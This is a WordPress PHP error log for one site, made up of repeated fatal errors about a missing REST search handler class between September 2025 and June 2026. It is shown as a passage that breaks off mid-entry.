[24-Sep-2025 03:27:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[30-Sep-2025 04:21:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[30-Sep-2025 04:21:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Sep-2025 04:21:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[30-Sep-2025 04:30:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[30-Sep-2025 04:30:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Sep-2025 04:30:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[14-Oct-2025 01:12:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[14-Oct-2025 01:12:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[14-Oct-2025 01:12:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[11-Jan-2026 01:09:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[11-Jan-2026 01:09:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[11-Jan-2026 01:09:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[11-Jan-2026 01:18:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[11-Jan-2026 01:18:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[11-Jan-2026 01:18:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Jan-2026 12:02:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[13-Jan-2026 12:02:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Jan-2026 12:02:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Jan-2026 12:11:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[13-Jan-2026 12:11:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Jan-2026 12:11:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[05-Feb-2026 04:44:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[05-Feb-2026 04:44:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[05-Feb-2026 04:44:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Feb-2026 16:52:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Feb-2026 16:52:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Feb-2026 16:52:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Feb-2026 16:52:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Feb-2026 16:52:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Feb-2026 16:52:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Feb-2026 16:53:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Feb-2026 16:53:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Feb-2026 16:53:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[13-Feb-2026 16:53:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[13-Feb-2026 16:53:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[13-Feb-2026 16:53:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Feb-2026 10:32:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Feb-2026 10:32:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Feb-2026 10:32:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Feb-2026 10:41:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Feb-2026 10:41:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Feb-2026 10:41:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[24-Feb-2026 11:47:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Feb-2026 11:47:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[24-Feb-2026 11:47:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[24-Feb-2026 11:57:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Feb-2026 11:57:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[24-Feb-2026 11:57:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[05-Mar-2026 09:37:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[05-Mar-2026 09:37:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[05-Mar-2026 09:37:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[05-Mar-2026 09:44:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[05-Mar-2026 09:44:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[05-Mar-2026 09:44:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[06-Apr-2026 23:51:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[06-Apr-2026 23:51:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[06-Apr-2026 23:51:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[06-Apr-2026 23:59:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[06-Apr-2026 23:59:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[06-Apr-2026 23:59:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[13-Apr-2026 17:08:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[13-Apr-2026 17:08:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[13-Apr-2026 17:08:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[15-Apr-2026 00:22:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[15-Apr-2026 00:22:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[15-Apr-2026 00:22:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[15-Apr-2026 00:30:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[15-Apr-2026 00:30:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[15-Apr-2026 00:30:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[26-Apr-2026 21:49:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[26-Apr-2026 21:49:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[26-Apr-2026 21:49:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[27-May-2026 15:22:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[27-May-2026 15:22:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[27-May-2026 15:22:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[27-May-2026 15:33:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[27-May-2026 15:33:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[27-May-2026 15:33:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[12-Jun-2026 13:44:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[12-Jun-2026 13:44:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[12-Jun-2026 13:44:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[12-Jun-2026 13:52:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[12-Jun-2026 13:52:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[12-Jun-2026 13:52:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[22-Jun-2026 08:57:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[22-Jun-2026 08:57:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[22-Jun-2026 08:57:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[22-Jun-2026 09:05:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
